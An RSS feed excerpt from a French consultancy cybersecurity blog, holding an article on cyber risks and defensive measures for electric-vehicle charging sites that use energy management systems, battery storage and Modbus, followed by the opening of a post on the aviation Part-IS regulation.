<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Deep-dive - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/category/formats/deep-dive/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/category/formats/deep-dive/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Thu, 30 Apr 2026 17:06:23 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Deep-dive - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/category/formats/deep-dive/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Infrastructures de recharge électrique : Performance énergétique et nouveaux défis cybersécurité</title>
		<link>https://www.riskinsight-wavestone.com/2026/04/mobilite-electrique-evolution-des-infrastructures-de-recharge-entre-optimisation-energetique-et-nouveaux-defis-cybersecurite/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/04/mobilite-electrique-evolution-des-infrastructures-de-recharge-entre-optimisation-energetique-et-nouveaux-defis-cybersecurite/#respond</comments>
		
		<dc:creator><![CDATA[Madeline Salles]]></dc:creator>
		<pubDate>Wed, 29 Apr 2026 16:01:49 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29863</guid>

					<description><![CDATA[<p>La mobilité électrique connaît une forte accélération en France comme dans l’ensemble de l’Europe : en janvier 2026, les immatriculations françaises de véhicules 100 % électriques ont progressé de plus de 50 % par rapport à janvier 2025, portant leur part de marché à près d’un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/mobilite-electrique-evolution-des-infrastructures-de-recharge-entre-optimisation-energetique-et-nouveaux-defis-cybersecurite/">Infrastructures de recharge électrique : Performance énergétique et nouveaux défis cybersécurité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><b><span data-contrast="auto">La mobilité électrique connaît une forte accélération en France comme dans l’ensemble de l’Europe :</span></b><span data-contrast="auto"> en janvier 2026, les immatriculations françaises de véhicules 100 % électriques ont progressé de plus de 50 % par rapport à janvier 2025, portant leur part de marché à près d’un tiers des ventes. Cette trajectoire confirme une transformation structurelle du secteur automobile, qui semble s’engager dans une électrification massive, notamment pour les véhicules légers. Cette dynamique s’inscrit pleinement dans les orientations fixées par la Programmation Pluriannuelle de l&rsquo;Energie (PPE), qui décline de manière opérationnelle les ambitions nationales en matière de transition énergétique. À ce titre, la croissance du véhicule électrique ne relève plus d’un phénomène conjoncturel, mais d’une trajectoire appelée à se renforcer.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="auto">Cette trajectoire repose toutefois sur la disponibilité d’un réseau de recharge dense, fiable et bien dimensionné sur l’ensemble du territoire.</span></b><span data-contrast="auto"> Qu’il s’agisse de recharge publique (autoroutes, voirie, centres commerciaux) ou privée (domicile, entreprises), l’infrastructure constitue la colonne vertébrale de l’écosystème de mobilité électrique. Au cœur de ce dernier, les Charging Point Operators (CPO) jouent un rôle structurant en tant que responsables de l’installation, de l’exploitation et de la maintenance des bornes.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Le risque cyber s’impose quant à lui comme une menace majeure pour les infrastructures de recharge, dans un contexte où les réseaux électriques sont de plus en plus ciblés par des groupes cybercriminels et des acteurs étatiques</span><span data-contrast="auto">1</span><span data-contrast="auto">,</span><span data-contrast="auto">2</span><span data-contrast="auto">. Pour les CPO, cette réalité change la donne : maîtriser le risque cyber devient une condition indispensable à la fiabilité du service et à la protection de l’écosystème. À mesure que les réseaux de recharge s’étendent et se complexifient, </span><b><span data-contrast="auto">les enjeux de cybersécurité deviennent centraux : protection des données, continuité de service, sécurisation des flux financiers, maîtrise des risques liés aux tiers</span></b><span data-contrast="auto">. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Cet article s’inscrit dans une série de trois articles retraçant les enjeux structurants rencontrés par les acteurs de la mobilité électrique, afin d’en décrypter les implications en matière de cybersécurité.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1 aria-level="1">Repenser les infrastructures de recharge : entre exigences opérationnelles et nouvelles contraintes cyber</h1>
<p><span data-contrast="auto">Dans un contexte de forte croissance mais aussi de structuration progressive du marché, </span><b><span data-contrast="auto">les CPO font face à une équation économique exigeante</span></b><span data-contrast="auto">. Le déploiement des infrastructures de recharge requiert des investissements initiaux significatifs – acquisition du foncier, raccordement au réseau, achat et installation des bornes, supervision, maintenance – tandis que les taux d’usage restent encore hétérogènes selon les territoires et les typologies de sites. À cela s’ajoutent la volatilité des prix de l’électricité, la pression concurrentielle accrue et l’évolution rapide des standards technologiques, qui imposent des mises à niveau régulières.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Les aides publiques tendant à se rationaliser et les financeurs attendant des trajectoires de rentabilité plus lisibles, l’optimisation de la performance économique des actifs devient impérative. </span><b><span data-contrast="auto">La maximisation du taux de disponibilité, le pilotage fin des coûts d’exploitation, l’amélioration du taux d’occupation ou encore la diversification des sources de revenus ne sont plus des leviers secondaires, mais des conditions essentielles à la pérennité du business model des CPO.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><img fetchpriority="high" decoding="async" class=" wp-image-29871 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr1.png" alt="" width="706" height="285" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr1.png 783w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr1-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr1-768x310.png 768w" sizes="(max-width: 706px) 100vw, 706px" /></p>
<p style="text-align: center;"><em>Figure 1 : Architecture d&rsquo;une infrastructure de recharge classique</em></p>
<p><span data-contrast="auto">Les infrastructures de recharge, telles que conçues aujourd’hui, illustrées en Figure 1, reposent généralement sur un pilotage statique de la puissance des bornes par le système de supervision central, le Charging Point Management System (CPMS). Ce principe de fonctionnement ne permet pas ou limite la capacité du CPO à adapter en temps réel la distribution de puissance aux usages et aux contraintes du site.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="auto">Ainsi, plusieurs pistes d’optimisation peuvent être mises en œuvre. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">D’abord, il est possible de renforcer la flexibilité énergétique du site, notamment pour soutenir la recharge rapide sans avoir à surdimensionner le raccordement au réseau. Pour cela, l’installation d’un</span><b><span data-contrast="auto"> Battery Energy Storage System (BESS)</span></b><span data-contrast="auto"> s’avère être une solution probante : ce stockage stationnaire par batteries agit comme un réservoir, capable de stocker l’énergie lorsqu’elle est disponible et de la restituer lors des pics de consommation, améliorant ainsi la stabilité et la résilience du site.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Ensuite, vient l’intégration aux sites de moyens de production d’énergie locale et décarbonée, directement utilisable pour la recharge ou le stockage, en y ajoutant des </span><b><span data-contrast="auto">dispositifs photovoltaïques</span></b><span data-contrast="auto">. Les panneaux solaires, installés en toiture ou en ombrière, constituent cette brique de production renouvelable. Leur efficacité repose toutefois sur l’association avec des systèmes de pilotage et de stockage appropriés, assurant la cohérence environnementale de la mobilité électrique.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Enfin, pour permettre la bonne intégration de ces moyens de production et de stockage d’énergie sur les sites de recharge, est arrivé un système gestion global appelé </span><b><span data-contrast="auto">Energy Management System</span></b><span data-contrast="auto"> </span><b><span data-contrast="auto">(EMS)</span></b><span data-contrast="auto">. Ce système permet de superviser et ajuster en temps réel les flux d’énergie sur le site, afin de les adapter aux besoins, aux contraintes locales et au contrat de raccordement. Il pilote la distribution de puissance, anticipe les appels de charge variables et maximise l’utilisation de la production locale. L’EMS permet ainsi de transformer une installation électrique classique en un système dynamique et intelligent.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="auto">Grâce à une gestion intelligente via EMS, d’un stockage par batterie et de l’intégration de la production solaire, cette architecture (voir Figure 2) offre une optimisation des performances tout en maîtrisant les coûts, constituant ainsi une étape clé pour aborder la prochaine phase de la transition énergétique.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><img decoding="async" class="size-full wp-image-29869 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr2.png" alt="" width="906" height="583" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr2.png 906w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr2-297x191.png 297w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr2-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/borne_ev_fr2-768x494.png 768w" sizes="(max-width: 906px) 100vw, 906px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">2</span></i><i><span data-contrast="none"> : Architecture d&rsquo;une infrastructure de recharge nouvelle génération</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:360,&quot;335559740&quot;:240}"> </span></p>
<p><span data-contrast="auto">Dans la suite de cet article, nous nous intéresserons à </span><b><span data-contrast="auto">trois nouvelles sources de risques cybersécurité, </span></b><span data-contrast="auto">introduits par l’ajout d’EMS au sein des infrastructures de recharges des CPO.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h2 aria-level="2"><span data-contrast="none">L’EMS : un levier d’optimisation devenu un Single Point Of Failure</span></h2>
<p><span data-contrast="auto">Les EMS se sont imposés comme un élément clé des infrastructures de recharge, en permettant aux CPO d’optimiser finement la gestion de la puissance et des stratégies de recharge. Cette centralité en fait un </span><b><span data-contrast="auto">point critique en termes de cybersécurité</span></b><span data-contrast="auto"> – leur compromission peut entraîner des impacts opérationnels majeurs pour un CPO :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Indisponibilité</span></b><span data-contrast="auto"> d’une partie du parc de bornes ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><b><span data-contrast="auto">Dégradation</span></b><span data-contrast="auto"> de l’optimisation énergétique avec des impacts financiers directs ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><b><span data-contrast="auto">Déséquilibres</span></b><span data-contrast="auto"> de charge pouvant entraîner des limitations ou coupures de service sur site.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:714,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
</ul>
<p><span data-contrast="auto">Au-delà de ces scénarios d’incident, l’introduction des EMS modifie également en profondeur les risques auxquels les infrastructures de recharge sont exposées. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h2 aria-level="2"><span data-contrast="none">Une dépendance accrue à des infrastructures tierces</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">Le déploiement des EMS repose majoritairement sur des solutions « clés en main », associées à des plateformes de gestion opérées par les fournisseurs et hébergées dans des environnements cloud. Ces plateformes permettent aux CPO de piloter de manière centralisée l’ensemble de leur parc d’EMS en répondant à différents cas d’usages : optimisation de la puissance disponible, supervision des performances et pilotage à distance des stratégies de recharge.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="auto">Cette architecture introduit toutefois une dépendance directe à des infrastructures tierces, situées hors du périmètre de contrôle du CPO. Elle élargit ainsi la surface d’attaque et renforce l’exposition des CPO aux risques de type supply chain</span></b><span data-contrast="auto">. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">D’autant plus que ces fournisseurs sont souvent des acteurs spécialisés de taille limitée, dont la maturité en cybersécurité peut être hétérogène. Une compromission de ces plateformes peut ainsi avoir des impacts étendus, allant jusqu’à l’indisponibilité d’une partie significative des EMS opérés par un CPO et par extension un risque d’indisponibilité des bornes de recharge.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">De plus, la compromission de ces clouds EMS peut également entraîner des atteintes à la confidentialité des données, puisqu’elle permettrait à un attaquant de collecter des informations métiers sensibles, exploitables notamment à des fins d’espionnage :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">Cartographie détaillée des sites et des équipements énergétiques déployés ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Stratégies de pilotage énergétique, révélant les logiques d’optimisation mises en place par le CPO ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Données de consommation et de puissance de l’ensemble des sites du CPO.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Des communications locales reposant sur des protocoles peu sécurisés</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><b><span data-contrast="auto">Ces nouvelles architectures étendent également la surface d’attaque au niveau du réseau local, en particulier via les communications avec les équipements énergétiques, encore largement basées sur des protocoles industriels peu sécurisés.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">À la différence des échanges entre systèmes de supervision (CPMS) et bornes, qui bénéficient de la standardisation apportée par OCPP, les communications entre l’EMS et les autres composants (BESS, Point de charge…) reposent encore majoritairement sur Modbus.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Conçu à l’origine pour des environnements industriels fermés, ce protocole n’intègre pas nativement de mécanismes de sécurité tels que l’authentification ou le chiffrement. En pratique, chaque fabricant d’EMS met en œuvre ses propres mécanismes de protection, ce qui conduit à des niveaux de sécurité hétérogènes. Pour les CPO, cette diversité complique la sécurisation du parc et peut créer des nouveaux points de faiblesse exploitables au sein du réseau local.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Les leviers pour sécuriser les infrastructures de recharge de nouvelle génération </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></h1>
<p><span data-contrast="auto">La sécurisation des infrastructures de recharge de nouvelle génération repose sur une approche structurée, permettant de concilier performance opérationnelle et maîtrise du risque cybersécurité.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h2 aria-level="2"><span data-contrast="none">Assurer la résilience des architectures de recharge</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">L’évolution des infrastructures de recharge introduit pour les CPO un point de défaillance unique (l’EMS). Pour y répondre, il est nécessaire de concevoir des architectures résilientes, capables de maintenir la continuité de service même en cas de défaillance de l’EMS. Cela peut notamment passer par : </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">La mise en place de </span><b><span data-contrast="auto">dispositifs de supervision et d’alerte</span></b><span data-contrast="auto">, permettant de détecter rapidement toute défaillance de l’EMS et d’activer les mécanismes de secours ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:714,&quot;335559738&quot;:60,&quot;335559739&quot;:60,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">La mise en place de </span><b><span data-contrast="auto">modes de fonctionnement dégradés</span></b><span data-contrast="auto"> afin de permettre aux bornes d’assurer leur fonction même en cas de perte de disponibilité de l’EMS ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:714,&quot;335559738&quot;:60,&quot;335559739&quot;:60,&quot;335559740&quot;:240,&quot;335559991&quot;:357}"> </span></li>
<li><span data-contrast="auto">La définition de stratégies de continuité et reprise d’activité incluant des scénarios de défaillance des EMS.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559738&quot;:60,&quot;335559739&quot;:60,&quot;335559740&quot;:240}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Sécuriser les dépendances à des infrastructures tierces non maitrisées</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">L’évolution de l’architecture des infrastructures de recharge oblige les CPO à maitriser à la fois les risques liés à la chaine d’approvisionnement et les risques propres à l’interconnexion entre le CPMS et les infrastructures cloud des fabricants d’EMS. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Pour réduire les risques liés à la chaîne d’approvisionnement, les CPO doivent mettre en place des processus de qualification fournisseurs robustes, incluant notamment :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">Evaluation du niveau de </span><b><span data-contrast="auto">maturité cybersécurité</span></b><span data-contrast="auto"> </span><b><span data-contrast="auto">du fournisseur</span></b><span data-contrast="auto"> ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Evaluation du niveau de sécurité du produit au moyen de </span><b><span data-contrast="auto">tests d’intrusion</span></b><span data-contrast="auto"> ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Encadrement contractuel des relations fournisseurs, incluant si nécessaire la mise en place de </span><b><span data-contrast="auto">Plans d’Assurance Sécurité (PAS)</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">En plus de la maitrise de sa chaîne d’approvisionnement, les CPO doivent prendre en compte les risques introduits par l’interconnexion de leur infrastructure avec celles des fabricants d’EMS (cloud EMS). Cette sécurisation passe par la maitrise des flux entre les infrastructures du CPO et ces environnements externes. Cette sécurisation peut se faire par trois moyens principaux : </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto">Mettre en place des </span><b><span data-contrast="auto">mécanismes de filtrage et de contrôle des flux</span></b><span data-contrast="auto"> entre le réseau local des infrastructures de recharge et l’extérieur pour restreindre les communications seulement vers les infrastructures tierces légitimes ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Formaliser des </span><b><span data-contrast="auto">standards d’architecture sécurisées</span></b><span data-contrast="auto"> et veiller à leur mise en œuvre effective lors du déploiement d’EMS sur le terrain pour garantir une application homogène des bonnes pratiques cybersécurité ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Implémenter des </span><b><span data-contrast="auto">mécanismes d’isolation</span></b><span data-contrast="auto"> permettant de contenir les éventuelles défaillances du cloud EMS et éviter leur propagation à l’ensemble du parc.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Sécuriser les communications reposant sur des protocoles industriels</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">Les communications entre EMS et équipements énergétiques, notamment les BESS, reposent encore largement sur des protocoles industriels tels que Modbus, qui ne disposent pas de mécanismes de sécurité natifs. Dans ce contexte, la sécurisation de ces échanges ne peut reposer sur les protocoles eux-mêmes, mais doit être assurée au niveau de l’architecture des infrastructures.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Cela implique notamment :</span><span data-ccp-props="{}"> </span></p>
<ul>
<li><b><span data-contrast="auto">La mise en place d’une segmentation réseau stricte sur le réseau local</span></b><span data-contrast="auto">, isolant les EMS, les BESS et les autres composants afin de limiter les surfaces d’exposition ;</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Le contrôle fin des communications</span></b><span data-contrast="auto">, en restreignant localement les flux aux seuls échanges nécessaires (filtrage, whitelisting, limitation des commandes autorisées) ;</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">La mise en place de dispositifs de supervision des échanges</span></b><span data-contrast="auto">, permettant de détecter les comportements anormaux ou non autorisés.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<h2 aria-level="2"><span data-contrast="none">Mettre en place une gouvernance cybersécurité structurée</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h2>
<p><span data-contrast="auto">Pour faire face à la diversité de composants et d’infrastructures exploités sur leur parc, il est indispensable pour les CPO de structurer l’ensemble autour d’une gouvernance claire comprenant notamment : </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Clarification des rôles et responsabilités cyber</span></b><span data-contrast="auto"> sur l’ensemble de la chaîne de valeur (CPO, fournisseurs…) ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
<li><span data-contrast="auto">Définition d’un processus d’intégration de la cybersécurité dans les projets, applicable à l’ensemble des projets dès leur phase de conception, garantissant une cohérence globale du niveau de sécurité des sites.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">En combinant une gestion rigoureuse des risques fournisseurs, un cadre de gouvernance solide et un contrôle strict des flux, les CPO peuvent tirer pleinement parti des gains opérationnels offerts par les EMS tout en sécurisant leur infrastructure de manière durable.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Optimiser sans compromettre : le défi des infrastructures de recharge</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:240,&quot;335559739&quot;:0}"> </span></h1>
<p><span data-contrast="auto">Pour conclure, l’essor des EMS transforme en profondeur les infrastructures de recharge, en apportant des leviers d’optimisation indispensables mais aussi de nouveaux risques cyber. Pour les CPO, l’enjeu n’est plus seulement de déployer ces solutions, mais de les sécuriser dans une logique globale, intégrant la gestion des risques fournisseurs, la définition d’architectures sécurisées et la structuration de la gouvernance cybersécurité. À ce titre, </span><b><span data-contrast="auto">la cybersécurité s’impose désormais comme un prérequis à la performance durable des infrastructures de recharge</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/mobilite-electrique-evolution-des-infrastructures-de-recharge-entre-optimisation-energetique-et-nouveaux-defis-cybersecurite/">Infrastructures de recharge électrique : Performance énergétique et nouveaux défis cybersécurité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/04/mobilite-electrique-evolution-des-infrastructures-de-recharge-entre-optimisation-energetique-et-nouveaux-defis-cybersecurite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Part-IS en 2026 : du cadre réglementaire à la réalité du terrain</title>
		<link>https://www.riskinsight-wavestone.com/2026/04/part-is-en-2026-du-cadre-reglementaire-a-la-realite-du-terrain/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/04/part-is-en-2026-du-cadre-reglementaire-a-la-realite-du-terrain/#respond</comments>
		
		<dc:creator><![CDATA[Loïc Lebain]]></dc:creator>
		<pubDate>Thu, 23 Apr 2026 16:21:58 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[Règlementation]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29826</guid>

					<description><![CDATA[<p>Après une première phase dédiée à la compréhension du périmètre et du cadre Part-IS ainsi qu’à la rédaction des Systèmes de Management de la Sécurité de l’Information (SMSI), le secteur aéronautique est entré dans une nouvelle étape. En 2026, Part-IS n’est plus un sujet théorique ou uniquement documentaire ; il devient sujet...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/part-is-en-2026-du-cadre-reglementaire-a-la-realite-du-terrain/">Part-IS en 2026 : du cadre réglementaire à la réalité du terrain</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"><span data-contrast="none">Après une première phase dédiée à la compréhension du </span><a href="https://www.riskinsight-wavestone.com/2025/01/part-is-un-pilier-de-la-cybersecurite-dans-laviation-europeenne/"><span data-contrast="none">périmètre et du cadre Part-IS</span></a><span data-contrast="none"> ainsi qu’à la rédaction des Systèmes de Management de la Sécurité de l’Information (SMSI), le secteur aéronautique est entré dans une nouvelle étape. En 2026, Part-IS n’est plus un sujet théorique ou uniquement documentaire ; il devient sujet de déploiement opérationnel, avec des attentes claires des autorités et des ajustements réglementaires destinés à faciliter sa mise en œuvre.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">Où en est le secteur? </h1>
<p style="text-align: justify;"><img decoding="async" class="size-full wp-image-29839 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseVF.png" alt="" width="1280" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseVF.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseVF-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseVF-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/friseVF-768x174.png 768w" sizes="(max-width: 1280px) 100vw, 1280px" /></p>
